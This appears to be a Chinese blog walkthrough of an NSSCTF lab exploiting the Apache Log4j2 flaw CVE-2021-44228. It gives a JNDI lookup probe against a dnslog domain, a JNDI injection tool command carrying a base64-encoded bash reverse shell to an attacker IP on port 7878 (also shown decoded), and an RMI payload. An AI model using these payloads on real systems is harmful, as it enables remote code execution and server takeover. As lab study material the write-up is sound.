NSSCTF实战:Apache log4j漏洞靶机(CVE-2021-44228)

1、漏洞描述

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。12月9号进行了漏洞预警,然后整个安全圈就过年了。

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对用户输入内容进行严格的判断,从而造成漏洞的发生。

漏洞编号:CVE-2021-44228

影响范围:Apache Log4j 2.x < 2.15.0-rc2

2、实验环境

NSSCTF平台实战:Apache log4j漏洞靶机

3、开启环境

浏览器访问得到以下结果

4、漏洞复现

根据题目描述,直接找到入口路由为/webstudy/hello-fengxuan,POST参数为c

准备dnslog.cn,Get SubDomain的网站域名为y3r9ua.dnslog.cn

访问存在的页面:http://node4.anna.nssctf.cn:28461/webstudy/hello-fengxuan,其中c为可控POST参数,后台未对前端用户传递的c参数进行校验导致存在命令执行漏洞,提交payload:${jndi:ldap://y3r9ua.dnslog.cn}

在dnslog平台,点击Refresh Record按钮,检测到dns查询的信息,证明存在log4j漏洞

5、漏洞利用

利用工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,该工具是由welk1n写的JNDI注入利用工具

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互

工具介绍

开始复现

第一步:在攻击机上开启7878监听端口

第2步:获取rmi和ldap参数

攻击机IP地址为x.x.x.x,拷贝JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar到攻击机

然后在攻击机中执行以下命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c “{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzc4NzggMD4mMQ==}|{base64,-d}|{bash,-i}” -A x.x.x.x

以上命令,base64解密后为

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c “{echo,bash -i >& /dev/tcp/x.x.x.x/7878 0>&1}|{base64,-d}|{bash,-i}” -A x.x.x.x

以上命令执行会反弹shell到攻击机的ip地址,攻击机需要监听7878端口,在攻击机下执行后的结果如下图所示

得到rmi和ldap的值,然后利用该值构造漏洞利用的payload

第3步:执行payload

构造好的payload为:${jndi:rmi://x.x.x.x:1099/67c6wi}

在浏览器前端执行构造好的payload

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值